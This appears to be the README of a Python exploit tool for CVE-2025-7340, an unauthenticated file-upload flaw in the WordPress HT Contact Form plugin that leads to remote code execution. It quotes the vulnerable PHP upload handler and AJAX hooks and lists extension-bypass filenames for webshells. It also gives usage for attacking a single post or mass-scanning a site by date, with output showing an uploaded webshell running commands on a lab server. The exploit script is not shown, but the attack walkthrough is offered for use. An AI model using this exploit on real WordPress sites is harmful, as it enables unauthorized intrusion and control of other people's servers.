
Exploit en Python para CVE-2025-7340, una vulnerabilidad de carga de archivos no autenticada en el widget HT Contact Form de WordPress, que permite la ejecución remota de código mediante el despliegue de webshells.
Ubicación de la vulnerabilidad: ht-contactform/admin/Includes/Services/FileManager.php
Función clave: temp_file_upload()
temp_file_upload#63行
public function temp_file_upload($file) {
$destination = "{$this->dir}/temp";
$this->maybe_create_directories($destination);
// Validate file
$validation = $this->validate($file);
if (!$validation['valid']) {
wp_send_json_error($validation['message']);
return;
}
// Process the file
$filename = $this->process_filename($file['name']);
$file_path = "{$destination}/$filename";
// Move file to temporary directory
if (move_uploaded_file($file['tmp_name'], $file_path)) {
wp_send_json_success([
'file_id' => $filename,
'file_name' => $file['name'],
'file_size' => $file['size']
]);
return;
}
}
AJAXUbicación del archivo: ht-contactform/admin/Includes/Ajax.php:
#46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
Problema: se utiliza el hook wp_ajax_nopriv_ , lo que significa que los usuarios no autenticados también pueden acceder a la funcionalidad de carga de archivos.
Análisis de la causa raíz del problema:
validate de FileManager.php, solo se comprueban los errores de subida de PHP y no se valida en absoluto el tipo de archivo, la extensión ni el tipo MIME.Fields.php, pero solo se usa para la validación en el frontend al renderizar el formulario (atributo accept); el servidor no utiliza esta configuración para validar en absoluto.sanitize_file_name() procesa principalmente caracteres especiales, pero no impide las extensiones peligrosas; un atacante aún puede subir archivos como .php、.php3、.phtml, etc.// Ajax.php 第46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
Análisis del problema:
Ataque directo: el atacante puede enviar una petición POST directamente a /wp-admin/admin-ajax.php, con la acción ht_form_temp_file_upload.
Bypass de la validación del frontend: el frontend utiliza el atributo accept para restringir los tipos de archivo, pero el atacante puede evadirlo fácilmente.
Ejecución de archivos: el archivo PHP subido puede ser ejecutado por el servidor web, lo que puede provocar la ejecución remota de código.
shell.php.jpg
shell.php.png
shell.php.gif
shell.PHP
shell.Php
shell.pHp
shell.php%00.jpg
Ten en cuenta que la URL solo es viable si se trata de un artículo publicado por el plugin, por lo que he añadido una función 02 de script kiddie.
01[Prueba individual] Ejemplo:
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...
[+] 漏洞利用成功!
Webshell地址: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php
[+] 进入shell交互模式,输入'exit'退出!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
退出交互模式
02[Prueba del directorio raíz] Ejemplo:
python RCE.py -r http://192.168.162.131:8081
[*] 请输入日期 (默认20250804):
[*] 使用的日期: 20250804
[*] 正在扫描日期: 2025-08-04
[*] 扫描地址: http://192.168.162.131:8081/2025/08/04/
[*] 发现文章2: Test.0.1
[*] 发现文章3: 8 月 4, 2025
[*] 发现文章6: 世界,您好!
[*] 发现文章7: 8 月 4, 2025
[*] 开始漏洞利用...
[*] 正在利用: http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...
[+] 漏洞利用成功!
Webshell地址: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php
[+] 进入shell交互模式,输入'exit'退出!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
退出交互模式